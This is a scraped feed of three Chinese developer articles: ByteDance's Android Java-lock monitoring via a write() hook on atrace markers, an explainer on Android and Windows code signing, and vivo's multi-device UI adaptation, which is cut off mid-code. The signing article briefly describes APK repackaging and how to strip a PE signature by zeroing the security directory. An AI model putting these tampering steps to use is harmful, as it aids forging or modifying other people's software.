  • 持锁线程方法:android.app.ResourcesManager.getOrCreateResources(…)

  • 等待线程 1 个

  • 等锁方法:android.app.ActivityThread.collectComponentCallbacks(…)

Java 锁,无论是同步方法还是同步块,虚拟机最终都会到 MonitorEnter。我们关注的 trace 是 Android 6 引入的, 在锁的开始和结束时分别调用ATRACE_BEGIN(...)ATRACE_END()

线上方案

默认情况下 atrace 是关闭的,开关在 ATRACE_ENABLED() 中。我们通过设置 atrace_enabled_tags 为 ATRACE_TAG_DALVIK 可以开启当前进程的 ART 虚拟机的 atrace。

再看 ATRACE_BEGIN(...)ATRACE_END() 的实现,其实是用 write 将字符串写入一个特殊的 atrace_marker_fd (/sys/kernel/debug/tracing/trace_marker)。

因此通过 hook libcutils.so 的 write 方法,并按 atrace_marker_fd 过滤,就实现了对 ATRACE_BEGIN(...)ATRACE_END() 的拦截。有了 BEGIN 和 END 后可以计算出阻塞时长,解析 monitor contention with owner... 日志可以得到我们关注的 Java 锁信息。

获取堆栈

到目前为止,我们已经可以监控到线上用户的锁问题。但是还不够,为了能够优化锁的性能,我们想需要知道等锁的具体原因,也就是 Java 调用栈。

获取 Java 调用栈,可以使用Thread.getStackTrace()方法。由于我们 hook 住了虚拟机的等锁线程,此时线程处于一种特殊状态,不可以直接通过 JNI 调用 Java 方法,否则导致线上 crash 问题。


解决方案是异步获取堆栈,在 MonitorBegin 的时候通知子线程 5ms 之后抓取堆栈,MonitorEnd 计算阻塞时长,并结合堆栈数据一起放入队列,等待上报 Slardar。如果 MonitorEnd 时不满足 5ms 则取消抓栈和上报


数据平台

由于方案本身有一定性能开销,我们仅对灰度测试中的部分用户开启了锁监控。配置线上采样后,命中的用户将自动开启锁监控,数据上报 Slardar 平台后就可以消费了。


具体 case 可以看到设备信息、阻塞时长、调用堆栈


根据调用栈查找源码,可以定位到是哪一个锁,说明上报数据是准确的。


稳定性方面,10 万灰度用户开启锁监控后,无新增稳定性问题。

优化实践

经过多轮锁收集和治理,我们取得了一些不错的收益,这里简单介绍下锁治理的几个典型案例。

典型案例

inflate 锁:

先解析一下什么是 inflate:Android 中解析 xml 生成 View 树的过程就叫做 inflate 过程。inflate 是一个耗时过程,常规的手段就是通过异步来减少其在主线程的耗时,这样大大的减少了卡顿、页面打开和启动时长;但此方式也会带来新的问题,比如 LayoutInflater 的 inflate 方法中有加锁保护的代码块,并行构建会造成锁等待,可能反而增加主线程耗时,针对这个问题有三种解决方案:

  • 克隆 LayoutInflater

    • 把线程分为三类别:Main、工作线程和其它线程(野线程),Context(Activity 和 App)为每个类别提供专有 LayoutInflater,这样能有效的规避 inflate 锁。

    • 优点:实现简单、兼容性好

    • 缺点:LayoutInflater 中非安全的静态属性在并发情况下有概率产生稳定性问题

  • code 构造替代 xml 构造

    • 这种方式完美的绕开了 inflate 操作,极大提高了 View 构造速度。

    • 优点:复杂度高、性能好

    • 缺点:影响编译速度、View 自定义属性需要做转换、存在兼容性问题(比如厂商改属性)

  • 定制 LayoutInflater

    • 自定义 FastInflater(继承自 LayoutInflater)替换系统的 PhoneLayoutInflater,重写 inflate 操作,去掉锁保护;从统计数据看,在并发时快了约 4%。

    • 优点:复杂度高、性能好

    • 缺点:存在兼容性,比如华为的 Inflater 为 HwPhoneLayoutInflater,无法直接替换。

文件目录锁:

ContextImpl 中获取目录(cache、files、DB 和 preferenceDir)的实现有两个关键耗时点:1. 存在 IPC(IStorageManager.mkdir)和文件 check;2. 加锁“nSync”保护;所以 ipc 变长和并发存在,都可能导致 App 卡顿,如图为 Anr 数据:

相关的常用 Api 有 getExternalCacheDir、getCacheDir、getFilesDir、getTheme 等,考虑到系统的部分目录一般不会发生变化,所以我们可以对一些不会变化的目录进行 cache 处理,减少带 锁方法块的执行,从而有效的绕过锁等待。

MessageQueue:

Android 子线程与主线程通讯的通用方式是向主线程 MessageQueue 中插入一个任务(message),等此任务(message)被主线程 Looper 调度执行;所以 MessageQueue 中会对消息链表的修改加锁保护,主要实现在 enqueueMessage 和 next 两个方法中。

利用 Slardar 采集线上锁信息,根据这些信息,我们可以轻松追踪锁的执有线程和 owner,最后根据情况将请求(message)移到子线程,这样就可以极大的减轻主线程压力和等锁的可能性。此问题的修改方式并不复杂,重点在于如何监控到这些执锁线程。


序列化和反序列化:

抖音中有一些常用数据对象使用 Json 格式存储。为保证这些数据的完整性,在读取和存储时加了锁保护,从而导致锁等待比较常见,这种情况在启动场景特别明显;所以要想减少锁等待,就必段加快序列化和反序列化,针对这个问题,我们做了三个优化方案:

  • Gson 反序列化的耗时集中在 TypeAdapter 的构建,此过程利用反射创建 Filed 和 name(key)的映射表;所以我们在编译时针对数据类创建对应的 TypeAdapter,大大减少反序列化的时耗。

  • 部分类使用 parcel 序列化和反序列化,大大提高了速度,约减少 90%的时耗。

  • 大对像根据情况拆分成多个小对像,这样可以减少锁粒度,也就减少了锁等待。以上方案在抖音项目中都有使用,取得了很不错的收益。

AssetManager 锁:

获取 string、size、color 或 xml 等资源的最终实现基本都封装在 AssertManager 中,为了保证数据的正确性,加了锁(对象 AssetManager)保护,大致的调用关系如图:

常用的调用点有:

  • View 构造方法中调用 context.obtainStyledAttributes(…)获取 TypedArray,最后都会调用 AssetManager 的带锁方法。

  • View 的 toString 也调用了 AssetManager 的带锁方法。

随着 xml 异步 inflate 的增加,这些方法并发调用也增加,造成主线程的锁等待也日渐突出,最终导致卡顿,针对这个问题,目前我们的优化方案主要有:

  • 去掉多余的调用,比如 View 的 toString,这个常见于日志打印。

  • 一个 Context 根据线程名提供不同的 AssetManager,绕过 AssetManager 对象锁;此方法可能带来一些内存消耗。

So 加载锁优化:

Android 提供的加载 so 的接口实现都在封装在 Runtime 中,比如常用的 loadLibrary0 和 load0,如图 1 和 l 图 2 所示,此方法是加了锁的,如果并发加载 so 就会造成锁等待。通过 Slardar 的监控数据,我们验证了这个问题,同时也有一些意外收获,比如平台可能有自己的 so 需要加:

我们根据 so 的不同情况,主要有以下优化思路:

  • 对于 cinit 加载的 so,我们可以提前在子线程中加载一下 cinit 的宿主类。

  • 业务层面的 so, 可以统一在子线程中进行提前加载。

  • 使用 load0 替代 loadLibrary0,可以减少锁中拼接 so 路径的时耗。

  • so 文件加载优化,比如 JNI_OnLoad。

ActivityThread:

在收集的的数据中我们也发现了一些系统层的框架锁,比如下图这个:


这个问题主要集中在启动阶段,ams 会发 trim 通知给 ActivityThread 中的 ApplicationThread,收到通知后会向 Choreographer 的 commit 列表(此任务列表不作展开)中添加一个 trim 任务,也就是在下个 vsync 到达时被执行;

trim 过程主要包括收集 Applicatioin、Activity、Service、Provider 和向它们发送 trim 消息,也是系统提供给业务清理自身内存的一个时机;收集过程是加锁(ResourcesManager)保护的,如图:

考虑到启动阶段并不太关心内存的释放,所以可以尝试在启动阶段,比如 40 秒内,不执行 trim 操作;具体的实现是这样,首先替换 Choreographer 的 FrameHandler, 这样就能接管 vsync 的 doFrame 操作,在启动 40 秒内的每次 vsync 主动 check 或删除 commint 任务列表中的 trim 操作。


收益

在抖音中我们除了优化前面列出的这些典型锁外,还优化了一些业务本身的锁,部分已经通过线上实验验证了收益,也有一些还在尝试实验中;通过对实验中各指标的分析,也证实了锁优化能带来启动和流畅度等技术收益,间接带来了不错的业务收益,这也坚定了我们在这个方向上的继续探索和深化。

小结

前面列出的只是有代表性的一些通用 Java 锁,在实际开发中遇到的远比这多,但不管什么样的锁,都可以根据进程和代码归属分为以下四类:业务锁、依赖库锁、框架锁和系统锁;

不同类型的锁优化思路也会不一样,部分方案可以复用,部分只能 case-by-case 解决,具体的优化方案有:减少调用、绕过调用、使用读写锁和无锁等。


分类描述进程代码优化方案
业务锁源码可见,可以直接修改;比如前面的序列化优化。App 进程包含直接优化;静态 aop
依赖库锁包含编译产物,可以修改产物App 进程包含直接优化;静态 aop
框架锁运行时加载,同时存在兼容性;比如前面提到的 inflate 锁、AssetManager 锁和 MessageQueue 锁App 进程不包含减少调用;动态 aop
系统锁系统为 App 提供的服务和资源,App 间存在竞争,所以服务层需要加锁保护,比如 IPC、文件系统和数据库等服务进程不包含减少调用

总结

经过了长达半年的探索和优化,此方案已在线上使用,作为我们日常防劣化和主动优化的输入工具,我们评判的点主要有以下四个:

  • 稳定性:线上开启后,ANR、Crash 和 OOM 和大盘一致。

  • 准确性:从目前线上的消费数据来看,这个值达到了 99%。

  • 扩展性:业务可以根据场景开启和关闭采集功能,也可以收集指定时间内的锁,比如启动阶段可以收集 32ms 的锁,其它阶段收集 16ms 的锁。

  • 劣化影响:从线上实验数据看,一定量(UV)的情况下,业务和性能(丢帧和启动)无显著劣化。

此方案虽然只能监控 synchronized 锁,像 CAS、Native 锁、sleep 和 wait 都无法监控,但在我们日常开发中synchronized 锁占比非常大, 所以基本满足了我们绝大部分的需求,当然,我们也在持续探索其它锁的监控和验证其价值。

————————————————
来源: 字节跳动技术团队
原文:blog.csdn.net/ByteDanceTech/article/details/125863436

收起阅读 »

浅谈程序的数字签名

理论基础数字签名它是基于非对称密钥加密技术与数字摘要算法技术的应用,它是一个包含电子文件信息以及发送者身份,并能够鉴别发送者身份以及发送信息是否被篡改的一段数字串。一段数字签名数字串,它包含电子文件经过Hash编码后产生的数字摘要,即一个Hash函数值以及发送...
继续阅读 »

理论基础

数字签名它是基于非对称密钥加密技术与数字摘要算法技术的应用,它是一个包含电子文件信息以及发送者身份,并能够鉴别发送者身份以及发送信息是否被篡改的一段数字串。

一段数字签名数字串,它包含电子文件经过Hash编码后产生的数字摘要,即一个Hash函数值以及发送者的公钥和私钥三部分内容。发送方通过私钥加密后发送给接收方,接收方使用公钥解密,通过对比解密后的Hash函数值确定数据电文是否被篡改。

数字签名(又称公钥数字签名)是只有信息的发送者才能产生的别人无法伪造的一段数字串,这段数字串同时也是对信息的发送者发送信息真实性的一个有效证明。

它是一种类似写在纸上的普通的物理签名,但是在使用了公钥加密领域的技术来实现的,用于鉴别数字信息的方法。


数字签名方案是一种以电子形式存储消息签名的方法。一个完整的数字签名方案应该由两部分组成:签名算法和验证算法。


android数字签名

在android的APP应用程序安装过程中,系统首先会检验APP的签名信息,如果发现签名文件不存在或者校验签名失败,系统则会拒绝安装,所以APP应用程序在发布到市场之前一定要进行签名。

OTA升级中也必须使用到数字签名进行校验,在应用版本迭代必须使用相同的证书签名,不然会生成一个新的应用,导致更新失败。在更新过程中使用相同的证书签名的应用可以共享代码和功能

App安装过程中签名检验的流程:

1、检查 APP中包含的所有文件,对应的摘要值与 MANIFEST.MF 文件中记录的值一致。

2、使用证书文件(RSA 文件)检验签名文件(SF文件)是否被修改过。

3、使用签名文件(SF 文件)检验 MF 文件没有被修改过。


CERT.RSA包含数字签名以及开发者的数字证书。CERT.RSA里的数字签名是指对CERT.SF的摘要采用私钥加密后的数据;

MANIFEST.MF文件中是APP中每个文件名称和摘要SHA256;

CERT.SF则是对MANIFEST.MF的摘要

android中的数字签名有2个主要作用:

1、能定位消息确实是由发送方签名并发出来的,其他假冒不了发送方的签名。

2、确定消息的完整性,签名它代表文件的特征,文件发生变化,数字签名的数值也会发送变化。

Anroid中的签名证书不需要权威机构认证,一般是开发者的自签名证书。所以签名信息中会包含有开发者信息,在一定程度上可以防止应用被破解二次打包成山寨的APP应用,所以签名信息也是用于对APP包防二次打包的一个校验功能点。


(上图是android studio中自创建签名的界面)

在 Android Studio中通过上图创建签名信息后,最终会生成一个 .jks 的文件,它是用作证书和私钥的二进制文件。


(上图是反编译工具直接查看app的签名信息),也可以通过jarsigner,jadx,jeb等工具查看app的签名信息。

从上图中可以看到这个APP采用了V1和V2签名信息,Android中的签名目前主要由V1、V2、V3、V4组成的。

v1签名方案:基于 JAR 签名,签名完之后是META-INF 目录下的三个文件:MANIFEST.MF、CERT.SF、CERT.RSA。通过这三个文件校验来确保APP中的每个文件都不被改动。

APK v1的缺点就是META-INF目录下的文件并不在校验范围内,所以之前多渠道打包等都是通过在这个目录下添加文件来实现的。

V2签名方案:它是在Android 7.0系统中引入,为了使 APP可以在 Android 6.0 (Marshmallow) 及更低版本的设备上安装,应先使用 JAR 签名功能对 APP 进行签名,然后再使用 v2 方案对其进行签名。它是一个全文件的签名方案,它能够发现对 APP的受保护部分进行的所有更改,从而有助于加快验证速度并增强完整性保证。

V2签名,它会在 APP文件中插入一个APP签名分块,该分块位于“ZIP 中央目录”部分之前并紧邻该部分。在“APP签名分块”内,v2 签名和签名者身份信息会存储在 APK 签名方案 v2 分块中。


V3签名方案:它是Android 9.0系统中引入,基于 v2签名的升级,Android 9 支持 APK密钥轮替,这使应用能够在 APK 更新过程中更改其签名密钥。为了实现轮替,APK 必须指示新旧签名密钥之间的信任级别。v3 在 APK 签名分块中添加了有关受支持的 SDK 版本和 proof-of-rotation 结构的信息。

下面链接官方对V3签名相关的说明

https://source.android.google.cn/security/apksigning/v3

APK 密钥轮替功能可以参考:

https://developer.android.google.cn/about/versions/pie/android-9.0

V4签名方案:它是在Android 11.0 引入,用来支持 ADB 增量 APK 安装。通过 APK 签名方案 v4 支持与流式传输兼容的签名方案。v4 签名基于根据 APK 的所有字节计算得出的 Merkle 哈希树。

Android 11 将签名存储在单独的 .apk.idsig 文件中。

下面2个链接是官方对V4签名的相关说明

https://source.android.google.cn/security/apksigning/v4

https://developer.android.google.cn/about/versions/11/features

从上面的签名信息截图中,也可以看到android的签名采用的是X.509V3国际标准。

这个标准下约定了签名证书必须包含以下的内容。

1、证书的序列号

2、证书所使用的签名算法

3、证书的发行机构名称,命名规则一般采用X.500格式

4、证书的有效期

5、证书的所有人的名称

6、证书所有人的公开密钥

7、证书发行者对证书的签名

从上图APP的签名信息中数字签名要包含摘要加密算法:MD5、SHA-1、SHA-256

MD5是一种不可逆的加密算法。

SHA1:它是由NISTNSA设计为同DSA一起使用的,它对长度小于264的输入,产生长度为160bit的散列值,因此抗穷举(brute-force)性更好。

SHA-256 是 SHA-1 的升级版,现在 Android 签名使用的默认算法都已经升级到 SHA-256 了。

摘要算法中又涉及到对称加密和非对加密

对称加密就是在加密和解密过程中需要使用同一个密钥

非对称加密使用公钥/私钥中的公钥来加密明文,然后使用对应的私钥来解密密文。

APP中如果没采用加固保护,容易出现二次打包重新签名的山寨APP。

APP中二次打包流程:破解者需要对APK文件做反编译分析,反编译为smali代码,并对某些关键函数或者资源进行修改,再回编译为apk文件并重签名。

常见的对抗二次打包的方案:

1、签名校验

原理:二次打包会篡改签名,通过签名前后的变化可以检测是否被二次打包;但是这种很容易被hook掉。

2、文件校验

原理:二次打包前后apk关键文件hash值比较,判断是否被修改;但是这种很容易被hook掉。

3、核心函数转为jni层实现

原理:java层代码转为jni层实现,jni层代码相对而言篡改难度更大;写大量反射代码降低了开发效率。

window数字签名

Window的数字签名是微软的一种安全保障机制。

Window数字签名中的签名证书用于验证开发者身份真实性、保护代码的完整性。用户下载软件时,能通过数字签名验证软件来源可信,确认软件、代码没有被非法篡改或植入病毒。所以,软件开发者会在软件发行前使用代码签名证书为软件代码添加数字签名。

对于一个Windows的可执行应用程序,签发数字签名的时候需要计算的数据摘要并不会是程序文件的全部数据,而是要排除一些特定区域的数据。而这些区域当然和PE文件结构有关,具体地,不管是签发时还是校验时计算的hash都会排除一个checksum字段、一个Security数据目录字段以及数字签名证书部分的数据。


Window签名的RSA算法:通过公钥与私钥来判断私钥的合法。

公钥与私钥具有对称性,既可以通过私钥加密,公钥解密,以此来论证私钥持有者的合法身份。也可以通过公钥加密,私钥解密,来对私钥持有者发信息而不被泄露。

由于在交换公钥时免不了遭遇中间人劫持,因此window程序的签名证书,都需要第三方权威机构的认证,并不像android程序一样开发者可以对自己程序签发证书。


(查看某程序的数字签名信息)

从上面截图中看到了摘要算法用到sha1和sha256。

由于SHA-256更强的安全性,现在SHA-256已经作为代码签名证书的行业标准签名算法。

从上图中看到程序拥有2个签名信息,也就是双签名机制。

双签名就是对一个软件做两次签名,先进行SHA1签名,之后再进行SHA2签名的做法就叫做双签名。双签名需要一张支持SHA1和SHA2算法的代码签名证书,利用具备双签名功能的工具导入申请的代码签名证书对软件或应用程序进行双签名,签发后的软件或应用程序就支持SHA1和SHA2签名算法。

Windows10要求使用SHA2算法签名,而Windows7(未更新补丁的)因其兼容性只能使用SHA1算法签名,那么使用一张支持双签SHA1和SHA2算法的代码签名证书就可以实现。

软件签名校验的流程图


Windows系统验证签名流程

1、系统UAC功能开启(用户账户控制功能,默认开启);

2、程序启动时,进行CA校验程序签名信息;

2.1、使用同样算法对软件产生Hash表

2.2、使用公钥产生一个Hash表认证摘要

2.3、比较程序的Hash表认证摘要 与 自己生成的Hash表认证摘要是否一致。

3、程序在window系统执行功能。

数字签名的验证过程本质:

1、通过对要验证的软件创建hash数据;

2、使用发布者的公共密匙来解密被加密的hash数据;

3、最后比较解密的hash和新获得的hash,如果匹配说明签名是正确的,软件没有被修改过。

代码实现校验程序是否有签名,它本质上就是被加密的hash和发布者的数字证书被插入到要签名的软件,最后在进行校验签名信息。


(实现判断程序是否有签名功能)

代码实现可以通过映射文件方式,然后去安装PE文件结构去读取,读取到可选头中的数据目录表,通过判断数据目录表中

IMAGE_DIRECTORY_ENTRY_SECURITY的虚拟地址和大小不为空,那么就表示改应用程序有签名,因为数据签名都是存在在这个字段中。



同样如果要将某个应用程序的签名信息给抹除了,也是一样的思路,将数据目录表中的IMAGE_DIRECTORY_ENTRY_SECURITY的大小和地址都设置为0即可。


下图通过PE工具,可以查看这个字段Security的虚拟地址和大小不为空那么表示应用程序经过签名的。


小结

数字签名不管是在android端还是window端,它都是一种应用程序的身份标志,在安全领域中对应用程序的数字签名校验是一个很常见的鉴别真伪的一个手段。

现在很多杀毒的厂商也都是通过这个数字签名维度,作为一个该应用程序是否可信程序的校验,虽然一些安全杀毒厂商签完名后还是误报毒,那这只能找厂商开白名单了。

来源:mp.weixin.qq.com/s/gC1sqVlLdPQcJg6OkgwzZg

收起阅读 »

vivo官网APP全机型UI适配方案

日益新增的机型,给开发人员带来了很多的适配工作。代码能不能统一、apk 能不能统一、物料如何选取、样式怎么展示等等都是困扰开发人员的问题,本方案就是介绍不同机型的共线方案,打消开发人员的疑虑。一、日益纷繁的机型带来的挑战1.1  背景科技是进步的,人...
继续阅读 »

日益新增的机型,给开发人员带来了很多的适配工作。代码能不能统一、apk 能不能统一、物料如何选取、样式怎么展示等等都是困扰开发人员的问题,本方案就是介绍不同机型的共线方案,打消开发人员的疑虑。


一、日益纷繁的机型带来的挑战


1.1  背景


科技是进步的,人们对美的要求也是逐渐提升的,所以才有了现在市面上形形色色的机型


(1)比如 vivo X60 手机采用纤薄曲面屏设计,属于直板机型。



(2)比如 vivo 折叠屏高端手机,提供更优质的视觉体验,属于折叠屏机型。



(3)比如 vivo pad,拥有优秀的操作手感和高级的质感,属于平板机型。



1.2  我们的挑战


在此之前,我们主要是为直板手机去服务,我们的开发只要适配这种主流的直板机器,我们的 UI 主要去设计这种直板手机的效果图,我们的产品和运营主要为这种直板机型去选择物料。



可是随着这种形形色色机型的出现,那么问题就来了:

(1)开发人员的适配成本高了,是不是针对每一种机型,都要做个单独的应用进行适配呢?

(2)UI 设计师要做的效果图要多了,是不是要针对每种机型都要设计一套效果图呢?

(3)产品和运营需要选择的物料更受限制了,会不会这个物料在一个机器上正常。在其他机器上就不正常了呢?


为什么这么说,下面以开发者的角度来做介绍,把我们面临的问题,做说明。


二、 开发者的窘境


2.1 全机型适配成本太高


日渐丰富的机型适配让我们这些 android 开发人员疲于奔命,虽然可以按照要求进行适配,但是大屏幕的机型适配成本依然比较高,因为这些机型不同于传统的直板手机的宽高比例(9:16)。所以有的应用干脆就直接两边留白,内容区域展示在屏幕正中央,这种效果,当然很差。

案例 1:某个视频 APP 页面,未做 pad 上的适配,打开之后的效果如下,两边大量留白,是不可操作的区域。


案例 2:某新闻资讯类 APP,在 pad 上的适配效果如下,可见的范围内,信息流展示内容较少,图片有拉伸、模糊的问题。



2.2 全机型适配成本高在哪


上面的案例其实只是表面的问题之一,作为开发人员,需要考虑的因素有很多,首先要想到这些机型有什么特点:


然后才是需要解决的问题:



三、寻找全机型适配方案之旅


3.1 方案讨论与确定


页面拉伸、左右留白是现象,这也是用户的直接体验。那么这就是我们要改善的地方,所以现在就有方向了,围绕着 “如何在可见区域内,展示更多的信息” 。这不是布局的简单重新排列组合,因为  方案绝对不是只有开发决定如何实现就可以怎么实现的,一个 apk 承载着功能到用户手里涉及了多方角色的介入。产品经理需要整理需求、运营人员需要配置物料、发布 apk,测试需要测试等等,所以最终的方案不是一方定下来的,而是一个协调统一后的结果。


既然要去讨论方案,那么就要有依据,在此省略讨论、评审、定稿的过程。


先来看看直板、折叠屏、pad 的外部轮廓图,知道页面形态如何。



3.2 方案落地示意图


每个应用要展示的内容不一致,但是原理一致,此处就以下面几个样式为基础介绍原理。原则也比较简单,尽可能展示更多内容,不要出现大面积的空白区域。


下面没有介绍分栏模式的适配,因为分栏的模式也可能被用户关闭,最终成为全屏模式,所以说,可以选择只适配全屏模式,这样的适配成本较低。当然,这个也要根据自己模块的情况来确定,比如微信,更适合左右屏的分栏模式。


3.2.1 直板机型适配方案骨骼图


直板机型,目前主流的机型,宽高比基本是 9:16,可以最大限度地展示比较多的内容,比如下图中的模块 1、模块 2、 模块 3 的图片。



3.2.2 折叠屏机型适配方案骨骼图


折叠屏机型,屏幕可旋转,但是宽高比基本是 1:1,高度和直板机器基本差不多,可以达到 2000px 的像素,所以在纵向上,也可以最大限度地展示比较多的内容,比如下图中的模块 1、模块 2、 模块 3 的图片。



3.2.3 PAD 机型适配方案骨骼图


pad 平板,屏幕可旋转,并且旋转后的宽高比差异较大,纵向时,宽高比是 5 : 8,横向时,宽高比是 8 : 5。


在 pad 纵向时,其实高度像素是足够展示很多内容的,比如下图中的模块 1、模块 2、 模块 3 的图片;


但是在 pad 横向时,没办法展示更多的内容(倒是有个方案,最后再说),只能下图中的模块 1、模块 2 的图片。



3.3 方案落地规范


3.3.1 一套代码适配所有机型


确定一个 apk 能不能适配所有机型,首先要解决的是要符合不同机型的特性,比如直板手机只能纵向显示,折叠屏和 pad 支持横竖屏旋转。


描述如下:


(1)需求

  • 直板屏:强制固定竖屏;

  • 折叠屏:外屏固定竖屏、内屏 (大屏) 支持横竖屏切换;

  • PAD 端:支持横竖屏切换;

我们需要在以上三端通过一套代码实现上面的需求。


(2)横竖屏切换

有以下 2 种方法:
方式 1)

通过在 AndroidManifest.xml 中设置:

android:screenOrientation 属性
a) android:screenOrientation="portrait" 

强制竖屏;
b) android:screenOrientation="landscape" 

强制横屏;
c) android:screenOrientation="unspecified" 

默认值,可以横竖屏切换;


方式 2)

在代码中设置:

activity.setRequestedOrientation(****);
a) setRequestedOrientation

(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);    设置竖屏;

b)setRequestedOrientation

(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE); 设置横屏;
c)setRequestedOrientation

(ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED); 可以横竖屏切换;


(3)不同设备支持不同的屏幕横竖屏方式


1)直板屏:

因为是强制竖屏,所以,可以通过在 AndroidManifest.xml 中给 Activity 设置 android:screenOrientation="portrait"。


2)折叠屏:

外屏与直板屏是保持一致的,暂且不讨论。但是内屏 (大屏) 要支持横竖屏切换。如果是一套代码,显然是无法通过 AndroidManifest 文件来实现的。这里其实系统框架已经帮我们实现了对应内屏时横竖屏的逻辑。总结就是,折叠屏可以与直板屏保持一致,在 AndroidManifest.xml 中给 Activity 设置 android:screenOrientation="portrait",如果切换到内屏时,系统自动忽略掉 screenOrientation 属性值,强行支持横竖屏切换。


3)PAD 端:

当然了,并不是所有的项目对应的系统都会自动帮我们忽略 screenOrientation 属性值,这时候就需要我们自己来实现了。


我们通过在 Activity 的基类中设置 setRequestedOrientation

(ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED),发现确实能够使当前页面横竖屏自由切换了。但是在启动 activity 的时候遇到了问题。当我们从横屏状态 A 界面启动一个 acitivity 的 B 界面时,发现 B 界面先是竖屏,然后切换到了横屏(如图 1 所示)。再试了多次依旧如此,肉眼可见的切换过程显然不能满足我们的需求。这说明通过 java 代码动态调整横竖屏的技术方向是行不通的。综上所述,通过同一份代码无法满足 PAD 端和直板屏的互斥的需求。



那还有没有其他方式呢。别忘了,我们 Android 打包全流程是通过 gradle 完成的,我们是不是可以通过切面编程的思维,针对不同的设备打出不同的包。


方案确定了,在此进行技术验证。


gradle 编译其中一个重要环节就是对依赖的 aar、本地 module 中的 AndroidManifest 文件进行 merge,最终输出一份临时的完整清单文件,存放在 */app/build/intermediates/merged_manifest/**Release / 路径下。


因此,我们可以在 AndroidManifest 文件 merge 完成之后对该临时文件中的 android:screenOrientation 字段值信息进行动态修改,修改完成之后再存回去。这样针对 pad 端就可以单独打出一份 apk 文件。


核心代码如下:

//pad支持横竖屏
def processManifestTask = project.tasks.getByName("processDefaultNewSignPadReleaseManifest");
if (processManifestTask != null) {
processManifestTask.doLast { pmt ->
def manifestPath = pmt.getMultiApkManifestOutputDirectory().get().toString() + "/AndroidManifest.xml"
if (new File(manifestPath).exists()) {
String manifest = file(manifestPath).getText()
manifest = manifest.replaceAll("android:screenOrientation=\"portrait\"", "android:screenOrientation=\"unspecified\"");
file(manifestPath).write(manifest)
println(" =============================================================== manifestPath: " + manifestPath)
}
}
}


(4)apk 的数量


到这里为止,java 代码是完全一致,没有区分的,关键就在于框架有没有提供出忽略 screenOrientation 的能力,如果提供了,我们只需要输出一个 apk,就能适配所有机型,


如果没有这个能力,我们就需要使用 gradle 打出额外的一个 apk,满足可旋转的要求。


3.3.2 一套物料配所有机型


1、等比放大物料

通过上面的落地方案的要求,对于模块 2 的图片,展示效果是不一样的,如下图:

(1)直板手机上面,模块 2 的图片 1 在上面,图片 2、3 分布于左下角和右下角

(2)折叠屏或者 pad 上面,模块 2 的图片 1 在左边,图片 2、3 分布于右侧

(3)折叠屏和 pad 上的模块 2 的图片,相对于直板手机来说,做了样式的调整,上下的样式改为了左右。图片也做了对应的放大,保证横向上可以填充整个屏幕的宽度。



(4)为了形象地表示处理后的效果,看下下面的示意图即可。



2、高度不变,裁剪物料


对于模块 3 的图片,可以回顾 3.2 中的展示样式,要求是

(1)直板手机上面,模块 3 中图片 1 的高度此处为 300px。

(2)折叠屏或者 pad 上面,模块 3 的图片 1 的高度也是 300px,但是内容不能减少。

(3)解决方案就是提供一张原始大图,假如规格为 2400px*300px,在直板手机上左右进行裁剪,如下图所示。折叠屏和 pad 上面直接进行展示。而裁剪这一步,放在服务端进行,因为客户端做裁剪,比较耗时。


(4)为了形象地表示处理后的效果,看下下面的示意图即可。



3.3.4 无感刷新


无感刷新,主要是体现在折叠屏的内外屏切换,pad 的横竖屏旋转这些场景,如何保证页面不会出现切换、旋转时候的闪现呢?

(1)这就要提前准备好数据源,保证在页面变化时,立即 notify。

(2)我们的页面列表最好使用 recyclerview,因为 recyclerview 支持局部刷新。

(3)数据源驱动 UI,千万不要在 UI 层面判断机型做 UI 的动态计算,页面会闪屏,体验不好。



3.4 方案落地实战


上面介绍了不同机型的适配规范,这个没有疑问之后,直接通过案例来看下具体如何实施。



如上图所示,选购页可以大致分为 分类导航栏区域 和 内容区域,其中内容区域是由多个楼层组成。


3.4.1 UI 如何设计的



如图所示,能够直观地感受到,从直板手机到折叠屏内屏再到 Pad 横屏,当设备的可显示面积增大时,页面充分利用空间展示更多的商品信息。


3.4.2 不同设备的区分方式


通过前面的简单介绍,对选购页的整体布局及不同设备上的 UI 展示有所了解,下面来看下如何在多个设备上实现一套代码的适配。


首先第一步,要如何区分不同的设备。

在区分不同的设备前,先看下能够从设备中获得哪些信息?

1)分辨率

2)机型

3)当前屏幕的横、竖状态


先说结论:

  • 直板手机:通过分辨率来区分

  • 折叠屏:通过机型和内外屏状态来区分

  • Pad:通过机型和当前屏幕的横、竖状态来区分


所以这里根据这几个特点,提供一个工具。

不同设备的区分方式。

/** * @function 判断当前手机的屏幕是处于哪个屏幕类型:目前三个屏幕范围:分别为 <= 528dp、528 ~ 696dp、> 696dp,对应的分别是正常直板手机、折叠屏手机内屏和Pad竖屏、和Pad横屏 */public class ScreenTypeUtil {     public static final int NORMAL_SCREEN_MAX_WIDTH_RESOLUTION = 1584; // 正常直板手机:屏幕最大宽度分辨率;Pad的分辨率(1600*2560), 1584 = 528 * 3 528dp是UI在精选页标注的直板手机范围    public static final int MIDDLE_SCREEN_MAX_WIDTH_RESOLUTION = 2088; // 折叠屏手机:屏幕最大宽度分辨率(1916*1964, 旋转:1808*2072),2088 = 696 * 3 2088dp是UI在精选页标注的折叠屏展开范围    public static final int LARGE_SCREEN_MAX_WIDTH_RESOLUTION = 2560; // 大屏幕设备:屏幕宽度暂定为 Pad的高度     public static final int NORMAL_SCREEN = 0; // 正常直版手机屏幕    public static final int MIDDLE_SCREEN = 1; // 折叠屏手机内屏展开、Pad竖屏    public static final int LARGE_SCREEN = 2;  // Pad横屏     public static int getScreenType() {        Configuration configuration = BaseApplication.getApplication().getResources().getConfiguration();        return getScreenType(configuration);    }     // 注意这里的newConfig 在Activity、Fragment、View 中的onConfigurationChanged中获得的newConfig传入,如果获得不了该值,可以使用getScreenType()方法    public static int getScreenType(@NonNull Configuration newConfig) {        // Pad 通过机型标志位及当前处于横竖屏状态 来判断当前屏幕类型        if (SystemInfoUtils.isPadDevice()) {            return newConfig.orientation == Configuration.ORIENTATION_LANDSCAPE ? LARGE_SCREEN : MIDDLE_SCREEN;        }        // Fold折叠屏 通过机型标志及内外屏状态 来判断当前屏幕类型        if (SystemInfoUtils.isFoldableDevice()) {            return SystemInfoUtils.isInnerScreen(newConfig) ? MIDDLE_SCREEN : NORMAL_SCREEN;        }        // 普通手机 通过分辨率判断        return AppInfoUtils.getScreenWidth() <= 